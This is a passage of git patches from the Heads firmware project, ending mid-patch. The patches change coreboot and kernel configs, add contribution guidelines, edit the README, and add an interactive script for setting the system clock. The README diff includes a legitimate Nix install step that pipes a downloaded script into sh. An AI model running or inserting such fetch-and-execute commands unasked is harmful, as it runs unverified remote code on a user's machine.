files changed, 4 insertions(+), 2 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index dfc639dbf..9e5dc0ee4 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -157,7 +157,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -674,6 +674,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V2=y CONFIG_DRIVERS_INTEL_USB4_RETIMER=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 63550fcf9..9484aaf51 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -157,7 +157,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -675,6 +675,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V2=y CONFIG_DRIVERS_INTEL_USB4_RETIMER=y From e2e4d3deacb322849ed3f677720ee9dc5896d94f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 12 Jul 2024 09:52:31 -0400 Subject: [PATCH 188/619] CONTRIBUTING.md: add baselines and refer in README.md Signed-off-by: Thierry Laurion --- CONTRIBUTING.md | 64 +++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 26 +++++++++++--------- 2 files changed, 79 insertions(+), 11 deletions(-) create mode 100644 CONTRIBUTING.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..06f6972ff --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,64 @@ +# Contributing to LinuxBoot/Heads + +Thank you for your interest in contributing to LinuxBoot/Heads! We welcome contributions +from everyone. By participating in this project, respecting these contribution guidelines +will ease and fasten their review, fixing and merging. + +## Communication Channels + +For the most up-to-date information on our community channels, please visit: +https://osresearch.net/community/ + +## Best Practices for Issues and Contributions + +Before opening an issue or submitting a contribution, please: + +1. Search existing resources (GitHub issues, wiki, Matrix channel history). +2. Review the documentation at https://osresearch.net. +3. Choose the appropriate channel for your contribution or question. + +### When Starting a Discussion on Matrix + +- Clearly state your topic or question. +- Provide context, including your environment (OS, hardware, etc.) if relevant. +- Be patient and respectful while waiting for responses. +- Structure your topic effectively with a clear title and organized content. +- Use code blocks for command outputs or error messages. +- Consider breaking complex topics into smaller, manageable questions. +- Tag your topic with relevant keywords. + +### When Opening an Issue on GitHub +- Search globally on linuxboot organization for related keywords first. + - EG: yubikey search in issues: https://github.com/search?q=org%3Alinuxboot+yubikey&type=issues +- Choose a clear and descriptive title. +- Clearly describe the problem or suggestion: + - Summarize the issue or feature request. + - Explain current behavior and expected behavior. + - For bugs, provide steps to reproduce. + - For feature requests, explain use case and benefits. +- Mention your environment details. +- If you have a proposed solution, describe it briefly. +- Check for related issues or pull requests and link them. +- Format your issue for readability using Markdown. + - Here is a nice advanced online editor alternative to GitHub: https://stackedit.io/app# +- Be responsive to follow-up questions. + +### For Pull Requests + +- Link to related issues or discussions. +- Provide a clear description of the changes and their purpose. +- Be responsive to feedback and prepared to make adjustments. +- **Important**: All commits to linuxboot/heads (*not heads-wiki!*) must be signed. For instructions, see: + [Signing commits](https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits) + +## GitHub Repositories + +- **linuxboot/heads**: https://github.com/linuxboot/heads + - Main repository for code, development, and user experience improvements. + - All commits must be signed. +- **linuxboot/heads-wiki**: https://github.com/linuxboot/heads-wiki + - Repository for project documentation. + - Content is rendered and searchable at https://osresearch.net + - *Commits don't have to be signed to lower bar for contribution*. + +We appreciate your contributions to the LinuxBoot/Heads project! diff --git a/README.md b/README.md index d3f1a5b64..cda6d788d 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ ![Heads booting on an x230](https://user-images.githubusercontent.com/827570/156627927-7239a936-e7b1-4ffb-9329-1c422dc70266.jpeg) Heads: the other side of TAILS -=== +== Heads is a configuration for laptops and servers that tries to bring more security to commodity hardware. Among its goals are: @@ -25,28 +25,32 @@ Documentation === Please refer to [Heads-wiki](https://osresearch.net) for your Heads' documentation needs. +Contributing +=== +We welcome contributions to the Heads project! Before contributing, please read our [Contributing Guidelines](CONTRIBUTING.md) for information on how to get started, submit issues, and propose changes. + Building heads -=== +== Under QubesOS? -==== +=== * Setup nix persistent layer under QubesOS (Thanks @rapenne-s !) * https://dataswamp.org/~solene/2023-05-15-qubes-os-install-nix.html * Install docker under QubesOS (imperfect old article of mine. Better somewhere?) * https://gist.github.com/tlaurion/9113983bbdead492735c8438cd14d6cd Build docker from nix develop layer locally -==== +=== #### Set up Nix and flakes -* If you don't already have Nix, install it: - * `[ -d /nix ] || sh <(curl -L https://nixos.org/nix/install) --no-daemon` - * `. /home/user/.nix-profile/etc/profile.d/nix.sh` -* Enable flake support in nix - * `mkdir -p ~/.config/nix` - * `echo 'experimental-features = nix-command flakes' >>~/.config/nix/nix.conf` +* If you don't already have Nix, install it: + * `[ -d /nix ] || sh <(curl -L https://nixos.org/nix/install) --no-daemon` + * `. /home/user/.nix-profile/etc/profile.d/nix.sh` +* Enable flake support in nix + * `mkdir -p ~/.config/nix` + * `echo 'experimental-features = nix-command flakes' >>~/.config/nix/nix.conf` #### Build image @@ -74,7 +78,7 @@ Done! Your local docker image "linuxboot/heads:dev-env" is ready to use, reproducible for the specific Heads commit used and will produce ROMs reproducible for that Heads commit ID. Jump into nix develop created docker image for interactive workflow -===== +==== `docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env` From 05f49932576bfe8e738753b6128e1836780bee8e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 07:54:44 -0400 Subject: [PATCH 189/619] Update CONTRIBUTING.md Fix wording to ease contribution acceptance Co-authored-by: SergiiDmytruk Signed-off-by: Thierry Laurion --- CONTRIBUTING.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 06f6972ff..f2a48e97e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,8 +1,8 @@ # Contributing to LinuxBoot/Heads Thank you for your interest in contributing to LinuxBoot/Heads! We welcome contributions -from everyone. By participating in this project, respecting these contribution guidelines -will ease and fasten their review, fixing and merging. +from everyone. Following these contribution guidelines will make handling of issues and +PRs a faster and smoother process, so please try to adhere to them. ## Communication Channels From 95cd57891565d2985b615e0791afa23d34165d63 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 07:55:13 -0400 Subject: [PATCH 190/619] Update CONTRIBUTING.md Add pinging suggestions Co-authored-by: SergiiDmytruk Signed-off-by: Thierry Laurion --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f2a48e97e..cc49d9b07 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -21,7 +21,7 @@ Before opening an issue or submitting a contribution, please: - Clearly state your topic or question. - Provide context, including your environment (OS, hardware, etc.) if relevant. -- Be patient and respectful while waiting for responses. +- Be patient and respectful while waiting for responses. Feel free to "ping" (draw attention) after some time if it looks like your question wasn't noticed. - Structure your topic effectively with a clear title and organized content. - Use code blocks for command outputs or error messages. - Consider breaking complex topics into smaller, manageable questions. From ddfcd86cd3d9df2ddfbf3767a6c1a6e071d0120b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 07:57:44 -0400 Subject: [PATCH 191/619] Update CONTRIBUTING.md Add suggestion for signing/review process Co-authored-by: SergiiDmytruk Signed-off-by: Thierry Laurion --- CONTRIBUTING.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index cc49d9b07..ffdeefd6e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,6 +50,7 @@ Before opening an issue or submitting a contribution, please: - Be responsive to feedback and prepared to make adjustments. - **Important**: All commits to linuxboot/heads (*not heads-wiki!*) must be signed. For instructions, see: [Signing commits](https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits) + If you won't GPG-sign your commits (GitHub signature doesn't count), they will get signed by a maintainer after a successful review, but it's strongly preferred you do it yourself. ## GitHub Repositories From 1d9ecf620b621de8bfb15e6bb469c772217481e5 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 08:37:29 -0400 Subject: [PATCH 192/619] CONTRIBUTING.md: add notes in case users won't use GitHub Signed-off-by: Thierry Laurion --- CONTRIBUTING.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ffdeefd6e..05a54f3b7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -17,6 +17,14 @@ Before opening an issue or submitting a contribution, please: 2. Review the documentation at https://osresearch.net. 3. Choose the appropriate channel for your contribution or question. +If you're unsure about what kind of issue you're looking at or whether it's an actual issue + with the project rather than your usage mistake, feel free to post a quick question briefly + (actual amount of details depends on the situation) describing the situation and expect to + either get a suitable answer or a request to provide a detailed problem report on GitHub + which will be treated with more attention. In case of an absence of a GitHub account and + unwillingness to create one, detailed report can also be submitted via Matrix and an issue + will be opened on GitHub by a maintainer. + ### When Starting a Discussion on Matrix - Clearly state your topic or question. From 9f8aee7ed8bfcff24c91d41930fd3d278e7736b7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 08:50:22 -0400 Subject: [PATCH 193/619] CONTRIBUTING.md: signing notes formatting fix Signed-off-by: Thierry Laurion --- CONTRIBUTING.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 05a54f3b7..d2a797503 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -56,9 +56,9 @@ If you're unsure about what kind of issue you're looking at or whether it's an a - Link to related issues or discussions. - Provide a clear description of the changes and their purpose. - Be responsive to feedback and prepared to make adjustments. -- **Important**: All commits to linuxboot/heads (*not heads-wiki!*) must be signed. For instructions, see: - [Signing commits](https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits) - If you won't GPG-sign your commits (GitHub signature doesn't count), they will get signed by a maintainer after a successful review, but it's strongly preferred you do it yourself. +- **Important**: All commits to linuxboot/heads (*not heads-wiki!*) must be signed. + - For instructions, see: [Signing commits](https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits) + - If you won't GPG-sign your commits (GitHub signature doesn't count), they will get signed by a maintainer after a successful review, but it's strongly preferred you do it yourself. ## GitHub Repositories From ff9dd5f667181fccee16d2444515524e6fcf50e1 Mon Sep 17 00:00:00 2001 From: alexgithublab Date: Wed, 24 Jul 2024 14:09:40 +0200 Subject: [PATCH 194/619] change system time feature Signed-off-by: Thierry Laurion --- initrd/bin/change-time | 60 ++++++++++++++++++++++++++++++++++++++++++ initrd/bin/gui-init | 4 +++ 2 files changed, 64 insertions(+) create mode 100644 initrd/bin/change-time diff --git a/initrd/bin/change-time b/initrd/bin/change-time new file mode 100644 index 000000000..af8f6de7f --- /dev/null +++ b/initrd/bin/change-time @@ -0,0 +1,60 @@ +#!/bin/bash +#change time using hwclock and date -s + +clear + +echo -e -n "Please enter the date and time you wish to set\n" + +get_date () { + echo -e -n "enter the $1 please ($2-$3) (enter for $2)\n" + read -n $4 value + echo -e "\n" + #if enter + if [[ $value = "" ]]; then + value=$2 + fi + + #must be a $4 digits number between $2 and $3 + while [[ ! $value =~ ^[0-9]{$4} ]] || [[ ${value#0} -lt $2 ]] || [[ ${value#0} -gt $3 ]]; + do + echo -e -n "wrong $1, you enter "$value" please enter it again, must be a $4 digits number between $2 and $3 (press enter for $2) \n" + read -n $4 value + echo -e "\n" + if [[ $value = "" ]]; then + value=$2 + fi + done +} + +get_date "year" "2024" "2200" "4" +year=$value +get_date "month" "01" "12" "2" +month=$value +get_date "day" "01" "31" "2" +day=$value +get_date "hour" "00" "23" "2" +hour=$value +get_date "min" "00" "59" "2" +min=$value +get_date "sec" "00" "59" "2" +sec=$value + +##getting the output of date -s +OUTPUT=$(date -s "$year-$month-$day $hour:$min:$sec" 2>&1) + +##if output is starting with the letter d which is the beginning of the error message then we do the script again +if [[ ${OUTPUT} == d* ]]; then + echo "The date is not correct, press any key to set it again" + echo -e "\n" + read -n 1 noting + clear + change-time +else + hwclock -w + echo -e "the date has been sucessfully set to $year-$month-$day $hour:$min:$sec" + echo -e "\n" + + echo -e "press any key to return to the menu" + echo -e "\n" + read -n 1 nothing +fi \ No newline at end of file diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index dc9ec20da..8173fae6c 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -438,6 +438,7 @@ show_options_menu() 'C' ' Reencrypt LUKS container -->' \ 'P' ' Change LUKS Disk Recovery Key passphrase ->' \ 'R' ' Check/Update file hashes on root disk -->' \ + 'h' ' Change system time' \ 'x' ' Exit to recovery shell' \ 'r' ' <-- Return to main menu' \ 2>/tmp/whiptail || recovery "GUI menu failed" @@ -476,6 +477,9 @@ show_options_menu() R ) root-hashes-gui.sh ;; + h ) + change-time + ;; x ) recovery "User requested recovery shell" ;; From a3b9a1d9e9a6a61d9490abcb1b8163af0ddbb5af Mon Sep 17 00:00:00 2001 From: alexgithublab Date: Thu, 25 Jul 2024 10:06:40 +0200 Subject: [PATCH 195/619] chmod Signed-off-by: Thierry Laurion --- initrd/bin/change-time | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 initrd/bin/change-time diff --git a/initrd/bin/change-time b/initrd/bin/change-time old mode 100644 new mode 100755 From 07a6b7819a62429f71a54db693a9a206db59573c Mon Sep 17 00:00:00 2001 From: alexgithublab Date: Thu, 25 Jul 2024 12:21:54 +0200 Subject: [PATCH 196/619] UTC statment + menu order Signed-off-by: Thierry Laurion --- initrd/bin/change-time | 2 ++ initrd/bin/gui-init | 12 ++++++++---- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index af8f6de7f..d7719b7e8 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -4,6 +4,8 @@ clear echo -e -n "Please enter the date and time you wish to set\n" +echo -e -n "You need to set the time according to the UTC/GMT timezone please check https://time.is/UTC\n" + get_date () { echo -e -n "enter the $1 please ($2-$3) (enter for $2)\n" diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 8173fae6c..75de07113 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -221,6 +221,7 @@ update_totp() If you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n How would you like to proceed?" 0 80 4 \ 'g' ' Generate new HOTP/TOTP secret' \ + 'h' ' Change system time' \ 'i' ' Ignore error and continue to main menu' \ 'p' ' Reset the TPM' \ 'x' ' Exit to recovery shell' \ @@ -234,6 +235,9 @@ update_totp() generate_totp_hotp && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key fi ;; + h ) + change-time + ;; i ) skip_to_menu="true" return 1 @@ -430,6 +434,7 @@ show_options_menu() --menu "" 0 80 10 \ 'b' ' Boot Options -->' \ 't' ' TPM/TOTP/HOTP Options -->' \ + 'h' ' Change system time' \ 'u' ' Update checksums and sign all files in /boot' \ 'c' ' Change configuration settings -->' \ 'f' ' Flash/Update the BIOS -->' \ @@ -438,7 +443,6 @@ show_options_menu() 'C' ' Reencrypt LUKS container -->' \ 'P' ' Change LUKS Disk Recovery Key passphrase ->' \ 'R' ' Check/Update file hashes on root disk -->' \ - 'h' ' Change system time' \ 'x' ' Exit to recovery shell' \ 'r' ' <-- Return to main menu' \ 2>/tmp/whiptail || recovery "GUI menu failed" @@ -451,6 +455,9 @@ show_options_menu() t ) show_tpm_totp_hotp_options_menu ;; + h ) + change-time + ;; u ) prompt_update_checksums ;; @@ -477,9 +484,6 @@ show_options_menu() R ) root-hashes-gui.sh ;; - h ) - change-time - ;; x ) recovery "User requested recovery shell" ;; From a99298acb25ee471d2420a88ca1117fa6503040e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 09:41:27 -0400 Subject: [PATCH 197/619] change-time script: syntax, spcaing, wording and typo fixes Signed-off-by: Thierry Laurion Signed-off-by: Thierry Laurion --- initrd/bin/change-time | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/initrd/bin/change-time b/initrd/bin/change-time index d7719b7e8..d99c21e42 100755 --- a/initrd/bin/change-time +++ b/initrd/bin/change-time @@ -4,11 +4,11 @@ clear echo -e -n "Please enter the date and time you wish to set\n" -echo -e -n "You need to set the time according to the UTC/GMT timezone please check https://time.is/UTC\n" +echo -e -n "You need to set the time according to the UTC/GMT timezone please check https://time.is/UTC\n\n" get_date () { - echo -e -n "enter the $1 please ($2-$3) (enter for $2)\n" + echo -e -n "Please insert $1 (between $2-$3) (Enter key to accept $2)\n" read -n $4 value echo -e "\n" #if enter @@ -19,7 +19,7 @@ get_date () { #must be a $4 digits number between $2 and $3 while [[ ! $value =~ ^[0-9]{$4} ]] || [[ ${value#0} -lt $2 ]] || [[ ${value#0} -gt $3 ]]; do - echo -e -n "wrong $1, you enter "$value" please enter it again, must be a $4 digits number between $2 and $3 (press enter for $2) \n" + echo -e -n "$1 is wrong: you entered "$value". Please try again, it must be $4 digits number between $2 and $3 (press Enter to accept $2) \n" read -n $4 value echo -e "\n" if [[ $value = "" ]]; then @@ -36,9 +36,9 @@ get_date "day" "01" "31" "2" day=$value get_date "hour" "00" "23" "2" hour=$value -get_date "min" "00" "59" "2" +get_date "minute" "00" "59" "2" min=$value -get_date "sec" "00" "59" "2" +get_date "second" "00" "59" "2" sec=$value ##getting the output of date -s @@ -46,17 +46,17 @@ OUTPUT=$(date -s "$year-$month-$day $hour:$min:$sec" 2>&1) ##if output is starting with the letter d which is the beginning of the error message then we do the script again if [[ ${OUTPUT} == d* ]]; then - echo "The date is not correct, press any key to set it again" + echo "The date is not correct, press any key to try again" echo -e "\n" - read -n 1 noting + read -n 1 nothing clear change-time else hwclock -w - echo -e "the date has been sucessfully set to $year-$month-$day $hour:$min:$sec" + echo -e "The system date has been sucessfully set to $year-$month-$day $hour:$min:$sec" echo -e "\n" - echo -e "press any key to return to the menu" + echo -e "Press any key to return to the menu" echo -e "\n" read -n 1 nothing -fi \ No newline at end of file +fi From f4ce04716778dbb2cfdda2d9dab67f8c4a81b7d6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 09:59:38 -0400 Subject: [PATCH 198/619] gui-init: put change-time under TOTP mismatch where it should be, remove unneeded duplicate menu options to change system time Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 16 ++-------------- 1 file changed, 2 insertions(+), 14 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 75de07113..2f76c0769 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -221,7 +221,6 @@ update_totp() If you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n How would you like to proceed?" 0 80 4 \ 'g' ' Generate new HOTP/TOTP secret' \ - 'h' ' Change system time' \ 'i' ' Ignore error and continue to main menu' \ 'p' ' Reset the TPM' \ 'x' ' Exit to recovery shell' \ @@ -235,9 +234,6 @@ update_totp() generate_totp_hotp && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key fi ;; - h ) - change-time - ;; i ) skip_to_menu="true" return 1 @@ -551,16 +547,8 @@ prompt_totp_mismatch() { TRACE_FUNC if (whiptail_warning --title "TOTP/HOTP code mismatched" \ - --yesno "TOTP/HOTP code mismatches could indicate either TPM tampering or clock drift:\n\nTo correct clock drift: 'date -s yyyy-MM-DD hh:mm:ss' in UTC timezone\nand save it to the RTC: 'hwclock -w'\nthen reboot and try again.\n\nWould you like to exit to a recovery console?" 0 80) then - echo "" - echo "To correct clock drift: 'date -s yyyy-MM-DD hh:mm:ss' in UTC timezone" - echo "and save it to the RTC: 'hwclock -w'" - echo "" - echo "Alternatively you could do this automatically with an Ethernet cable connected to a functional network: 'network-init-recovery'" - echo "" - echo "Then reboot and try again" - echo "" - recovery "TOTP/HOTP mismatch" + --yesno "TOTP/HOTP code mismatches could indicate either TPM tampering or clock drift.\n\nHere, we will manually set system time to see if TOTP code mismatch was because of time drift.\n\nAlternatively you could sync time from network automatically with 'network-init-recovery' helper from Recovery shell\n " 0 80) then + change-time fi } From 3b66c538ac208860a3107f590826c17f8c9317a3 Mon Sep 17 00:00:00 2001 From: arhabd Date: Mon, 22 Jul 2024 14:35:57 +0000 Subject: [PATCH 199/619] add nvme support add nvme support works as boot device hopefully Signed-off-by: Thierry Laurion --- config/linux-kgpe-d16_workstation.config | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/config/linux-kgpe-d16_workstation.config b/config/linux-kgpe-d16_workstation.config index 40edf7261..fe9d92f27 100644 --- a/config/linux-kgpe-d16_workstation.config +++ b/config/linux-kgpe-d16_workstation.config @@ -960,8 +960,12 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +CONFIG_NVME_MULTIPATH=y +CONFIG_NVME_HWMON=y # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -2467,7 +2471,6 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set From 211aeabf3523615f4637abfa77a8ae3cc759c92c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 29 Jul 2024 11:36:28 -0400 Subject: [PATCH 200/619] kgpe-d16 linux configs: generalize nvme support Repro applying patch of past commit on other linux configs of kgpe-d16: git diff osresearch/master > patch find config/linux-kgpe* | while read config; do sudo patch $config patch; done git status | grep modified | awk -F ":" {'print $2'}| xargs git add git commit --signoff -m "kgpe-d16 linux configs: generalize nvme support" Signed-off-by: Thierry Laurion --- config/linux-kgpe-d16_server-whiptail.config | 7 +++++-- config/linux-kgpe-d16_server.config | 7 +++++-- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/config/linux-kgpe-d16_server-whiptail.config b/config/linux-kgpe-d16_server-whiptail.config index 18a7a2c0c..eccb00b31 100644 --- a/config/linux-kgpe-d16_server-whiptail.config +++ b/config/linux-kgpe-d16_server-whiptail.config @@ -960,8 +960,12 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +CONFIG_NVME_MULTIPATH=y +CONFIG_NVME_HWMON=y # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -2280,7 +2284,6 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set diff --git a/config/linux-kgpe-d16_server.config b/config/linux-kgpe-d16_server.config index 18a7a2c0c..eccb00b31 100644 --- a/config/linux-kgpe-d16_server.config +++ b/config/linux-kgpe-d16_server.config @@ -960,8 +960,12 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +CONFIG_NVME_MULTIPATH=y +CONFIG_NVME_HWMON=y # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -2280,7 +2284,6 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set -# CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set From db9eed7ac51772a25ab434cd0628a178ef048bc9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 5 Aug 2024 05:23:23 -0400 Subject: [PATCH 201/619] coreboot 24.02.01: add upstream patch for Intel CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT to fix CONFIG_RESOURCE_ALLOCATION_TOP_DOWN peripherals disappearing repro: git fetch https://review.coreboot.org/coreboot refs/changes/07/80207/3 && git format-patch -1 --stdout FETCH_HEAD > ~/heads/patches/coreboot-24.02.01/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=x230-maximized real.remove_canary_files-extract_patch_rebuild_what_changed grep -R CONFIG_COREBOOT_VERSION boards/ | awk -F "/" {'print $2'} | while read board; do if ! sudo make BOARD=$board coreboot.save_in_oldconfig_format_in_place > /dev/null 2>&1; then echo $board failed;fi; done Signed-off-by: Thierry Laurion --- ...N-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 patches/coreboot-24.02.01/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch diff --git a/patches/coreboot-24.02.01/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch b/patches/coreboot-24.02.01/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch new file mode 100644 index 000000000..4b48903fa --- /dev/null +++ b/patches/coreboot-24.02.01/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch @@ -0,0 +1,130 @@ +From a2180b33351e63187b6de834d3a3fd30ea8b500c Mon Sep 17 00:00:00 2001 +From: Arthur Heymans +Date: Thu, 25 Jan 2024 16:40:50 +0100 +Subject: [PATCH] nb/intel/*: Match ACPI with resource allocation + +Currently resource allocation starts top down from the default value +0xfe000000. This does not match what ACPI reports, so adapt +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT to reflect that. + +Signed-off-by: Arthur Heymans +Change-Id: I2ba0e96a7ab18d65b7fbbb38b1a979ea2ec6d1be +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80207 +Tested-by: build bot (Jenkins) +Reviewed-by: Nico Huber +--- + src/northbridge/intel/gm45/Kconfig | 4 ++++ + src/northbridge/intel/haswell/Kconfig | 4 ++++ + src/northbridge/intel/i945/Kconfig | 4 ++++ + src/northbridge/intel/ironlake/Kconfig | 4 ++++ + src/northbridge/intel/pineview/Kconfig | 4 ++++ + src/northbridge/intel/sandybridge/Kconfig | 4 ++++ + src/northbridge/intel/x4x/Kconfig | 4 ++++ + 7 files changed, 28 insertions(+) + +diff --git a/src/northbridge/intel/gm45/Kconfig b/src/northbridge/intel/gm45/Kconfig +index 8059e7ee80..fef0d735b3 100644 +--- a/src/northbridge/intel/gm45/Kconfig ++++ b/src/northbridge/intel/gm45/Kconfig +@@ -31,6 +31,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config SMM_RESERVED_SIZE + hex + default 0x100000 +diff --git a/src/northbridge/intel/haswell/Kconfig b/src/northbridge/intel/haswell/Kconfig +index 